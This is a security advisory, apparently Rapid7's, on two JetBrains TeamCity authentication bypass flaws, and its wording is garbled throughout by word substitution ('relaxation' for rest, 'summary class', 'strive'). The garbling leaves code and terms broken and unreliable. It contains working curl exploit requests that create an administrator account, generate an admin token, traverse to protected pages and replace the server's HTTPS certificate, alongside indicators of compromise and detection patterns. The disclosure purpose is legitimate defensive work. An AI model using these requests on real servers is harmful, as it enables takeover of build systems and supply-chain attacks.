CVE-2024-27198 and CVE-2024-27199: JetBrains TeamCity A number of Authentication Bypass Vulnerabilities (FIXED)
Final up to date at Tue, 05 Mar 2024 14:57:58 GMT
Overview
In February 2024, Rapid7’s vulnerability analysis group recognized two new vulnerabilities affecting JetBrains TeamCity CI/CD server:
- CVE-2024-27198 is an authentication bypass vulnerability within the net part of TeamCity that arises from another path subject (CWE-288) and has a CVSS base rating of 9.8 (Essential).
- CVE-2024-27199 is an authentication bypass vulnerability within the net part of TeamCity that arises from a path traversal subject (CWE-22) and has a CVSS base rating of seven.3 (Excessive).
On March 4 (see notice), Rapid7 famous that JetBrains released a fixed version of TeamCity with out notifying Rapid7 that fixes had been applied and have been usually accessible. When Rapid7 contacted JetBrains about their uncoordinated vulnerability disclosure, JetBrains published an advisory on the vulnerabilities with out responding to Rapid7 on the disclosure timeline. JetBrains later responded to point that CVEs had been printed.
These points have been found by Stephen Fewer, Principal Safety Researcher at Rapid7, and are being disclosed in accordance with Rapid7’s vulnerability disclosure policy.
Notice: The JetBrains launch weblog for 2023.11.4 seems to show completely different publication dates primarily based on the time zone of the reader. Some readers see that it was launched March 3, whereas others see March 4. We have modified our language above to notice that Rapid7 noticed the discharge weblog on March 4, no matter what time it was launched.
Impression
Each vulnerabilities are authentication bypass vulnerabilities, probably the most extreme of which, CVE-2024-27198, permits for an entire compromise of a susceptible TeamCity server by a distant unauthenticated attacker, together with unauthenticated RCE, as demonstrated through our exploit:
Compromising a TeamCity server permits an attacker full management over all TeamCity tasks, builds, brokers and artifacts, and as such is an acceptable vector to place an attacker to carry out a provide chain assault.
The second vulnerability, CVE-2024-27199, permits for a restricted quantity of knowledge disclosure and a restricted quantity of system modification, together with the flexibility for an unauthenticated attacker to exchange the HTTPS certificates in a susceptible TeamCity server with a certificates of the attacker’s selecting.
On March 3, 2024, JetBrains launched TeamCity 2023.11.4 which remediates each CVE-2024-27198 and CVE-2024-27199. Each of those vulnerabilities have an effect on all variations of TeamCity previous to 2023.11.4.
For extra particulars on learn how to improve, please learn the JetBrains release blog. Rapid7 recommends that TeamCity clients replace their servers instantly, with out ready for a daily patch cycle to happen. We’ve included pattern indicators of compromise (IOCs) together with vulnerability particulars under.
Evaluation
CVE-2024-27198
Overview
TeamCity exposes an internet server over HTTP port 8111 by default (and may optionally be configured to run over HTTPS). An attacker can craft a URL such that every one authentication checks are averted, permitting endpoints which can be meant to be authenticated to be accessed straight by an unauthenticated attacker. A distant unauthenticated attacker can leverage this to take full management of a susceptible TeamCity server.
Evaluation
The vulnerability lies in how the jetbrains.buildServer.controllers.BaseController class handles sure requests. This class is applied within the web-openapi.jar library. We will see under, when a request is being serviced by the handleRequestInternal methodology within the BaseController class, if the request just isn’t being redirected (i.e. the handler has not issued an HTTP 302 redirect), then the updateViewIfRequestHasJspParameter methodology shall be referred to as.
public summary class BaseController extends AbstractController {
// ...snip...
public ultimate ModelAndView handleRequestInternal(HttpServletRequest request, HttpServletResponse response) throws Exception {
strive {
ModelAndView modelAndView = this.doHandle(request, response);
if (modelAndView != null) {
if (modelAndView.getView() instanceof RedirectView) {
modelAndView.getModel().clear();
} else {
this.updateViewIfRequestHasJspParameter(request, modelAndView);
}
}
// ...snip...
Within the updateViewIfRequestHasJspParameter methodology listed under, we are able to see the variable isControllerRequestWithViewName shall be set to true if each the present modelAndView has a reputation, and the servlet path of the present request doesn’t finish in .jsp.
We will fulfill this by requesting a URI from the server that can generate an HTTP 404 response. Such a request will generate a servlet path of /404.html. We will notice that this ends in .html and never .jsp, so the isControllerRequestWithViewName shall be true.
Subsequent we are able to see the tactic getJspFromRequest shall be referred to as, and the results of this name shall be handed to the Java Spring frameworks ModelAndView.setViewName methodology. The results of doing this enables the attacker to alter the URL being dealt with by the DispatcherServlet, thus permitting an attacker to name an arbitrary endpoint if they will management the contents of the jspFromRequest variable.
non-public void updateViewIfRequestHasJspParameter(@NotNull HttpServletRequest request, @NotNull ModelAndView modelAndView) {
boolean isControllerRequestWithViewName = modelAndView.getViewName() != null && !request.getServletPath().endsWith(".jsp");
String jspFromRequest = this.getJspFromRequest(request);
if (isControllerRequestWithViewName && StringUtil.isNotEmpty(jspFromRequest) && !modelAndView.getViewName().equals(jspFromRequest)) {
modelAndView.setViewName(jspFromRequest);
}
}
To know how an attacker can specify an arbitrary endpoint, we are able to examine the getJspFromRequest methodology under.
This methodology will retrieve the string worth of an HTTP parameter named jsp from the present request. This string worth shall be examined to make sure it each ends with .jsp and doesn’t include the restricted path section admin/.
protected String getJspFromRequest(@NotNull HttpServletRequest request) jspFromRequest.endsWith(".jsp") && !jspFromRequest.accommodates("admin/") ? jspFromRequest : null;
Triggering the vulnerability
To see learn how to leverage this vulnerability, we are able to goal an instance endpoint. The /app/relaxation/server endpoint will return the present server model data. If we straight request this endpoint, the request will fail because the request is unauthenticated.
C:Userssfewer>curl -ik http://172.29.228.65:8111/app/relaxation/server
HTTP/1.1 401
TeamCity-Node-Id: MAIN_SERVER
WWW-Authenticate: Primary realm="TeamCity"
WWW-Authenticate: Bearer realm="TeamCity"
Cache-Management: no-store
Content material-Kind: textual content/plain;charset=UTF-8
Switch-Encoding: chunked
Date: Wed, 14 Feb 2024 17:20:05 GMT
Authentication required
To login manually go to "/login.html" web page
To leverage this vulnerability to efficiently name the authenticated endpoint /app/relaxation/server, an unauthenticated attacker should fulfill the next three necessities throughout an HTTP(S) request:
- Request an unauthenticated useful resource that generates a 404 response. This may be achieved by requesting a non existent useful resource, e.g.:
- Move an HTTP question parameter named jsp containing the worth of an authenticated URI path. This may be achieved by appending an HTTP question string, e.g.:
- Make sure the arbitrary URI path ends with .jsp. This may be achieved by appending an HTTP path parameter section, e.g.:
Combining the above necessities, the attacker’s URI path turns into:
/hax?jsp=/app/relaxation/server;.jsp
By utilizing the authentication bypass vulnerability, we are able to efficiently name this authenticated endpoint with no authentication.
C:Userssfewer>curl -ik http://172.29.228.65:8111/hax?jsp=/app/relaxation/server;.jsp
HTTP/1.1 200
TeamCity-Node-Id: MAIN_SERVER
Cache-Management: no-store
Content material-Kind: software/xml;charset=ISO-8859-1
Content material-Language: en-IE
Content material-Size: 794
Date: Wed, 14 Feb 2024 17:24:59 GMT
<?xml model="1.0" encoding="UTF-8" standalone="sure"?><server model="2023.11.3 (construct 147512)" versionMajor="2023" versionMinor="11" startTime="20240212T021131-0800" currentTime="20240214T092459-0800" buildNumber="147512" buildDate="20240129T000000-0800" internalId="cfb27466-d6d6-4bc8-a398-8b777182d653" position="main_node" webUrl="http://localhost:8111" artifactsUrl=""><tasks href="/app/relaxation/tasks"/><vcsRoots href="/app/relaxation/vcs-roots"/><builds href="/app/relaxation/builds"/><customers href="/app/relaxation/customers"/><userGroups href="/app/relaxation/userGroups"/><brokers href="/app/relaxation/brokers"/><buildQueue href="/app/relaxation/buildQueue"/><agentPools href="/app/relaxation/agentPools"/><investigations href="/app/relaxation/investigations"/><mutes href="/app/relaxation/mutes"/><nodes href="/app/relaxation/server/nodes"/></server>
If we connect a debugger, we are able to see the decision to ModelAndView.setViewName occurring for the authenticated endpoint specified by the attacker within the jspFromRequest variable.
Exploitation
An attacker can exploit this authentication bypass vulnerability in a number of methods to take management of a susceptible TeamCity server, and by affiliation, all tasks, builds, brokers and artifacts related to the server.
For instance, an unauthenticated attacker can create a brand new administrator person with a password the attacker controls, by concentrating on the /app/relaxation/customers REST API endpoint:
C:Userssfewer>curl -ik http://172.29.228.65:8111/hax?jsp=/app/relaxation/customers;.jsp -X POST -H "Content material-Kind: software/json" --data "{"username": "haxor", "password": "haxor", "e mail": "haxor", "roles": {"position": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}"
HTTP/1.1 200
TeamCity-Node-Id: MAIN_SERVER
Cache-Management: no-store
Content material-Kind: software/xml;charset=ISO-8859-1
Content material-Language: en-IE
Content material-Size: 661
Date: Wed, 14 Feb 2024 17:33:32 GMT
<?xml model="1.0" encoding="UTF-8" standalone="sure"?><person username="haxor" id="18" e mail="haxor" href="/app/relaxation/customers/id:18"><properties depend="3" href="/app/relaxation/customers/id:18/properties"><property title="addTriggeredBuildToFavorites" worth="true"/><property title="plugin:vcs:anyVcs:anyVcsRoot" worth="haxor"/><property title="teamcity.server.buildNumber" worth="147512"/></properties><roles><position roleId="SYSTEM_ADMIN" scope="g" href="/app/relaxation/customers/id:18/roles/SYSTEM_ADMIN/g"/></roles><teams depend="1"><group key="ALL_USERS_GROUP" title="All Customers" href="/app/relaxation/userGroups/key:ALL_USERS_GROUP" description="Incorporates all TeamCity customers"/></teams></person>
We will confirm the malicious administrator person has been created by viewing the TeamCity customers within the net interface:
Alternatively, an unauthenticated attacker can generate a brand new administrator entry token with the next request:
C:Userssfewer>curl -ik http://172.29.228.65:8111/hax?jsp=/app/relaxation/customers/id:1/tokens/HaxorToken;.jsp -X POST
HTTP/1.1 200
TeamCity-Node-Id: MAIN_SERVER
Cache-Management: no-store
Content material-Kind: software/xml;charset=ISO-8859-1
Content material-Language: en-IE
Content material-Size: 241
Date: Wed, 14 Feb 2024 17:37:26 GMT
<?xml model="1.0" encoding="UTF-8" standalone="sure"?><token title="HaxorToken" creationTime="2024-02-14T09:37:26.726-08:00" worth="eyJ0eXAiOiAiVENWMiJ9.RzR2cHVjTGRUN28yRWpiM0Z4R2xrZjZfTTdj.ZWNiMjJlYWMtMjJhZC00NzIwLWI4OTQtMzRkM2NkNzQ3NmFl"/>
We will confirm the malicious entry token has been created by viewing the TeamCity tokens within the net interface:
By both creating a brand new administrator person account, or by producing an administrator entry token, the attacker now has full management over the goal TeamCity server.
IOCs
By default, the TeamCity log information are positioned in C:TeamCitylogs on Home windows and /choose/TeamCity/logs/ on Linux.
Entry Token Creation
Leveraging this vulnerability to entry assets might go away an entry within the teamcity-javaLogging log file (e.g. teamcity-javaLogging-2024-02-26.log) much like the next:
26-Feb-2024 07:11:12.794 WARNING [http-nio-8111-exec-1] com.solar.jersey.spi.container.servlet.WebComponent.filterFormParameters A servlet request, to the URI http://192.168.86.68:8111/app/relaxation/customers/id:1/tokens/2vrflIqo;.jsp?jsp=/app/relaxation/customers/idpercent3a1/tokens/2vrflIqopercent3b.jsp, accommodates type parameters within the request physique however the request physique has been consumed by the servlet or a servlet filter accessing the request parameters. Solely useful resource strategies utilizing @FormParam will work as anticipated. Useful resource strategies consuming the request physique by different means is not going to work as anticipated.
Within the above instance, the attacker leveraged the vulnerability to entry the REST API and create a brand new administrator entry token. In doing so, this log file now accommodates an entry detailing the URL as processed after the decision to ModelAndView.setViewName. Notice this logged URL is the rewritten URL and isn’t the identical URL the attacker requested. We will see the URL accommodates the string ;.jsp in addition to a question parameter jsp= which is indicative of the vulnerability. Notice, the attacker can embody arbitrary characters earlier than the .jsp half, e.g. ;XXX.jsp, and there could also be different question parameters current, and in any order, e.g. foo=XXX&jsp=. With this in thoughts, an instance of a extra advanced logged malicious request is:
27-Feb-2024 07:15:45.191 WARNING [TC: 07:15:45 Processing REST request; http-nio-80-exec-5] com.solar.jersey.spi.container.servlet.WebComponent.filterFormParameters A servlet request, to the URI http://192.168.86.50/app/relaxation/customers/id:1/tokens/wo4qEmUZ;O.jsp?WkBR=OcPj9HbdUcKxH3O&pKLaohp7=d0jMHTumGred&jsp=/app/relaxation/customers/idpercent3a1/tokens/wo4qEmUZpercent3bO.jsp&ja7U2Bd=nZLi6Ni, accommodates type parameters within the request physique however the request physique has been consumed by the servlet or a servlet filter accessing the request parameters. Solely useful resource strategies utilizing @FormParam will work as anticipated. Useful resource strategies consuming the request physique by different means is not going to work as anticipated.
An acceptable common expression to match the rewritten URI within the teamcity-javaLogging log file could be ;S*.jsp?S*jsp= whereas the common expression /S*?S*jsp=S*;.jsp will match in opposition to each the rewritten URI and the attacker’s unique URI (Though it’s unknown the place the unique URI shall be logged to).
If the attacker has leveraged the vulnerability to create an entry token, the token might have been deleted. Each the teamcity-server.log and the teamcity-activities.log will include the under line to point this. We will see the token title being deleted 2vrflIqo (A random string chosen by the attacker) corresponds to the token title that was created, as proven within the warning message within the teamcity-javaLogging log file.
[2024-02-26 07:11:25,702] INFO - s.buildServer.ACTIVITIES.AUDIT - delete_token_for_user: Deleted token "2vrflIqo" for person "person with id=1" by "person with id=1"
Malicious Plugin Add
If an attacker uploaded a malicious plugin with the intention to obtain arbitrary code execution, each the teamcity-server.log and the teamcity-activities.log might include the next traces, indicating a plugin was uploaded and subsequently deleted in fast succession, and authenticated with the identical person account as that of the preliminary entry token creation (e.g. ID 1).
[2024-02-26 07:11:13,304] INFO - s.buildServer.ACTIVITIES.AUDIT - plugin_uploaded: Plugin "WYyVNA6r" was up to date by "person with id=1" with remark "Plugin was uploaded to C:ProgramDataJetBrainsTeamCitypluginsWYyVNA6r.zip"
[2024-02-26 07:11:24,506] INFO - s.buildServer.ACTIVITIES.AUDIT - plugin_disable: Plugin "WYyVNA6r" was disabled by "person with id=1"
[2024-02-26 07:11:25,683] INFO - s.buildServer.ACTIVITIES.AUDIT - plugin_deleted: Plugin "WYyVNA6r" was deleted by "person with id=1" with remark "Plugin was deleted from C:ProgramDataJetBrainsTeamCitypluginsWYyVNA6r.zip"
The malicious plugin uploaded by the attacker might have artifacts left within the TeamCity Catalina folder, e.g. C:TeamCityworkCatalinalocalhostROOTTC_147512_WYyVNA6r on Home windows or /choose/TeamCity/work/Catalina/localhost/ROOT/TC_147512_WYyVNA6r/ on Linux. The plugin title WYyVNA6r has shaped a part of the folder title TC_147512_WYyVNA6r. The quantity 147512 is the construct variety of the TeamCity server.
There could also be plugin artifacts remaining within the webapps plugin folder, e.g. C:TeamCitywebappsROOTpluginsWYyVNA6r on Home windows or /choose/TeamCity/webapps/ROOT/plugins/WYyVNA6r/ on Linux.
There could also be artifacts remaining within the TeamCity information listing, for instance C:ProgramDataJetBrainsTeamCitysystemcachesplugins.unpackedWYyVNA6r on Home windows, or /residence/teamcity/.BuildServer/system/caches/plugins.unpacked/WYyVNA6r/ on Linux.
A plugin have to be disabled earlier than it may be deleted. Disabling a plugin leaves a everlasting entry within the disabled-plugins.xml configuration file (e.g. C:ProgramDataJetBrainsTeamCityconfigdisabled-plugins.xml on Home windows):
<?xml model="1.0" encoding="UTF-8"?>
<disabled-plugins>
<disabled-plugin title="WYyVNA6r" />
</disabled-plugins>
The attacker might select the title of each the entry token they create, and the malicious plugin they add. The instance above used the random string 2vrflIqo for the entry token, and WYyVNA6r for the plugin. The attacker might have efficiently deleted all artifacts from their malicious plugin.
The TeamCity administration console has an Audit web page that can show exercise that has occurred on the server. The deletion of an entry token, and the importing and deletion of a plugin shall be captured within the audit log, for instance:
This audit log is saved within the inside database information file buildserver.information (e.g. C:ProgramDataJetBrainsTeamCitysystembuildserver.information on Home windows or /residence/teamcity/.BuildServer/system/buildserver.information on Linux).
Administrator Account Creation
To determine surprising person accounts which will have been created, examine the TeamCity administration console’s Audit web page for newly created accounts.
Each the teamcity-server.log and the teamcity-activities.log might include entries indicating a brand new person account has been created. The data logged just isn’t sufficient to find out if the created person account is malicious or benign.
[2024-02-26 07:45:06,962] INFO - tbrains.buildServer.ACTIVITIES - New person created: person with id=23
[2024-02-26 07:45:06,962] INFO - s.buildServer.ACTIVITIES.AUDIT - user_create: Person "person with id=23" was created by "person with id=23"
CVE-2024-27199
Overview
We’ve additionally recognized a second authentication bypass vulnerability within the TeamCity net server. This authentication bypass permits for a restricted variety of authenticated endpoints to be reached with out authentication. An unauthenticated attacker can leverage this vulnerability to each modify a restricted variety of system settings on the server, in addition to disclose a restricted quantity of delicate data from the server.
Evaluation
A number of paths have been recognized which can be susceptible to a path traversal subject that enables a restricted variety of authenticated endpoints to be efficiently reached by an unauthenticated attacker. These paths embody, however is probably not restricted to:
/res//replace//.well-known/acme-challenge/
It was found that by leveraging the above paths, an attacker can use double dot path segments to traverse to another endpoint, and no authentication checks shall be enforced. We have been capable of efficiently attain a restricted variety of JSP pages which leaked data, and a number of other servlet endpoints that each leaked data and allowed for modification of system settings. These endpoints have been:
/app/availableRunners/app/https/settings/setPort/app/https/settings/certificateInfo/app/https/settings/defaultHttpsPort/app/https/settings/fetchFromAcme/app/https/settings/removeCertificate/app/https/settings/uploadCertificate/app/https/settings/termsOfService/app/https/settings/triggerAcmeChallenge/app/https/settings/cancelAcmeChallenge/app/https/settings/getAcmeOrder/app/https/settings/setRedirectStrategy/app/pipeline/app/oauth/house/createBuild.html
For instance, an unauthenticated attacker shouldn’t be capable of attain the /admin/diagnostic.jsp endpoint, as seen under:
C:Userssfewer>curl -ik --path-as-is http://172.29.228.65:8111/admin/diagnostic.jsp
HTTP/1.1 401
TeamCity-Node-Id: MAIN_SERVER
WWW-Authenticate: Primary realm="TeamCity"
WWW-Authenticate: Bearer realm="TeamCity"
Cache-Management: no-store
Content material-Kind: textual content/plain;charset=UTF-8
Switch-Encoding: chunked
Date: Thu, 15 Feb 2024 13:00:40 GMT
Authentication required
To login manually go to "/login.html" web page
Nevertheless, through the use of the trail /res/../admin/diagnostic.jsp, an unauthenticated attacker can efficiently attain this endpoint, disclosing some details about the TeamCity set up. Notice, the output under was edited for brevity.
C:Userssfewer>curl -ik --path-as-is http://172.29.228.65:8111/res/../admin/diagnostic.jsp
HTTP/1.1 200
TeamCity-Node-Id: MAIN_SERVER
...snip...
<div>Java model: 17.0.7</div>
<div>Java VM data: OpenJDK 64-Bit Server VM</div>
<div>Java House path: c:TeamCityjre</div>
<div>Server: Apache Tomcat/9.0.83</div>
<div>JVM arguments:
<pre model="white-space: pre-wrap;">--add-opens=jdk.administration/com.solar.administration.inside=ALL-UNNAMED -XX:+IgnoreUnrecognizedVMOptions -XX:ReservedCodeCacheSize=640M --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/solar.rmi.transport=ALL-UNNAMED -Djava.util.logging.config.file=c:TeamCitybin..conflogging.properties -Djava.util.logging.supervisor=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -agentlib:jdwp=transport=dt_socket,server=y,deal with=4444,droop=n -Xmx1024m -Xrs -Dteamcity.configuration.path=../conf/teamcity-startup.properties -Dlog4j2.configurationFile=file:../conf/teamcity-server-log4j.xml -Dteamcity_logs=c:TeamCitybin..logs -Dignore.endorsed.dirs= -Dcatalina.base=c:TeamCitybin.. -Dcatalina.residence=c:TeamCitybin.. -Djava.io.tmpdir=c:TeamCitybin..temp </pre>
</div>
A request to the endpoint /.well-known/acme-challenge/../../admin/diagnostic.jsp or /replace/../admin/diagnostic.jsp may even obtain the identical outcomes.
One other attention-grabbing endpoint to focus on is the /app/https/settings/uploadCertificate endpoint. This enables an unauthenticated attacker to add a brand new HTTPS certificates of the attacker’s selecting to the goal TeamCity server, in addition to change the port quantity the HTTPS service listens on. For instance, we are able to generate a self-signed certificates with the next instructions:
C:UserssfewerDesktop>openssl ecparam -name prime256v1 -genkey -noout -out private-eckey.pem
C:UserssfewerDesktop>openssl ec -in private-eckey.pem -pubout -out public-key.pem
learn EC key
writing EC key
C:UserssfewerDesktop>openssl req -new -x509 -key private-eckey.pem -out cert.pem -days 360
You might be about to be requested to enter data that shall be integrated
into your certificates request.
What you're about to enter is what is named a Distinguished Identify or a DN.
There are fairly just a few fields however you'll be able to go away some clean
For some fields there shall be a default worth,
Should you enter '.', the sector shall be left clean.
-----
Nation Identify (2 letter code) [AU]:US
State or Province Identify (full title) [Some-State]:HaxorState
Locality Identify (eg, metropolis) []:HaxorCity
Group Identify (eg, firm) [Internet Widgits Pty Ltd]:HaxorOrganization
Organizational Unit Identify (eg, part) []:HaxorUnit
Widespread Identify (e.g. server FQDN or YOUR title) []:goal.server.com
Electronic mail Handle []:
C:UserssfewerDesktop>openssl pkcs8 -topk8 -nocrypt -in private-eckey.pem -out hax.key
An unauthenticated attacker can carry out a POST request with a path of /res/../app/https/settings/uploadCertificate with the intention to add a brand new HTTPS certificates.
C:UsersAdministratorDesktop>curl -vk --path-as-is http://172.29.228.65:8111/res/../app/https/settings/uploadCertificate -X POST -H "Settle for: software/json" -F certificates=@hax.pem -F key=@hax.key -F port=4141
Notice: Pointless use of -X or --request, POST is already inferred.
* Making an attempt 172.29.228.65:8111...
* Linked to 172.29.228.65 (172.29.228.65) port 8111 (#0)
> POST /res/../app/https/settings/uploadCertificate HTTP/1.1
> Host: 172.29.228.65:8111
> Person-Agent: curl/7.83.1
> Settle for: software/json
> Content material-Size: 1591
> Content material-Kind: multipart/form-data; boundary=------------------------cdb2a7dd5322fcf4
>
* We're fully uploaded and positive
* Mark bundle as not supporting multiuse
< HTTP/1.1 200
< X-Body-Choices: sameorigin
< Strict-Transport-Safety: max-age=31536000;
< X-Content material-Kind-Choices: nosniff
< X-XSS-Safety: 1; mode=block
< Referrer-Coverage: origin-when-cross-origin
< mixed-content: noupgrade
< TeamCity-Node-Id: MAIN_SERVER
< Content material-Kind: software/json
< Content material-Size: 0
< Date: Thu, 15 Feb 2024 14:06:02 GMT
<
* Connection #0 to host 172.29.228.65 left intact
If we log into the TeamCity server, we are able to confirm the HTTPS certificates and port quantity have been modified.
An attacker might carry out a denial of service in opposition to the TeamCity server by both altering the HTTPS port quantity to a worth not anticipated by shoppers, or by importing a certificates that can fail shopper aspect validation. Alternatively, an attacker with an appropriate place on the community might be able to carry out both eavesdropping or a man-in-the-middle assault on shopper connections, if the certificates the attacker uploads (and has a personal key for) shall be trusted by the shoppers.
Rapid7 clients
InsightVM and Nexpose clients can assess their publicity to CVE-2024-27198 and CVE-2024-27199 with authenticated vulnerability checks accessible within the March 4 content material launch.
InsightIDR and Managed Detection and Response clients have present detection protection by way of Rapid7’s expansive library of detection guidelines. Rapid7 recommends putting in the Perception Agent on all relevant hosts to make sure visibility into suspicious processes and correct detection protection. Beneath is a non-exhaustive listing of detections deployed and alerting on exercise associated to those vulnerabilities:
- Suspicious Internet Request – JetBrains TeamCity CVE-2024-27198 Exploitation
- Suspicious Internet Request – JetBrains TeamCity CVE-2024-27199 Exploitation
Rapid7 Labs has experimental Sigma guidelines available here.
Timeline
- February 15, 2024: Rapid7 makes preliminary contact with JetBrains through e mail.
- February 19, 2024: Rapid7 makes a second contact try and JetBrains through e mail. JetBrains acknowledges outreach.
- February 20, 2024: Rapid7 supplies JetBrains with a technical evaluation of the problems; JetBrains confirms they have been capable of reproduce the problems the identical day.
- February 21, 2024: JetBrains reserves CVE-2024-27198 and CVE-2024-27199. JetBrains suggests releasing patches privately earlier than a public disclosure of the problems. Rapid7 responds, emphasizing the significance of coordinated disclosure and our stance in opposition to silently patching vulnerabilities.
- February 22, 2024: JetBrains requests further data on what Rapid7 considers to be silent patching.
- February 23, 2024: Rapid7 reiterates our disclosure policy, sends JetBrains our material on silent patching. Rapid7 requests further details about the affected product model numbers and extra mitigation steering.
- March 1, 2024: Rapid7 reiterates the earlier request for extra details about affected product variations and vendor mitigation steering.
- March 1, 2024: JetBrains confirms which CVEs shall be assigned to the vulnerabilities. JetBrains says they’re “nonetheless investigating the difficulty, its root trigger, and the affected variations” and that they hope to have updates for Rapid7 “subsequent week.”
- March 4, 2024: Rapid7 notes that JetBrains has published a blog asserting the discharge of TeamCity 2023.11.4. After trying on the launch, Rapid7 confirms that JetBrains has patched the vulnerabilities. Rapid7 contacts JetBrains expressing concern {that a} patch was launched with out notifying or coordinating with our group, and with out publishing advisories for the safety points. Rapid7 reiterates our vulnerability disclosure policy, which stipulates: “If Rapid7 turns into conscious that an replace was made usually accessible after reporting the difficulty to the accountable group, together with silent patches which are likely to hijack CVD norms, Rapid7 will goal to publish vulnerability particulars inside 24 hours.” Rapid7 additionally asks whether or not JetBrains is planning on publishing an advisory with CVE data.
- March 4, 2024: JetBrains publishes a blog on the safety points (CVE-2024-27198 and CVE-2024-27199). JetBrains later responds indicating they’ve printed an advisory with CVEs, and CVEs are additionally included in launch notes. JetBrains doesn’t reply to Rapid7 on the uncoordinated disclosure.
- March 4, 2024: This disclosure.
Updates
March 5, 2024: Up to date with detection data for InsightIDR and Rapid7 MDR clients; data additionally added on availability of experimental Sigma rules.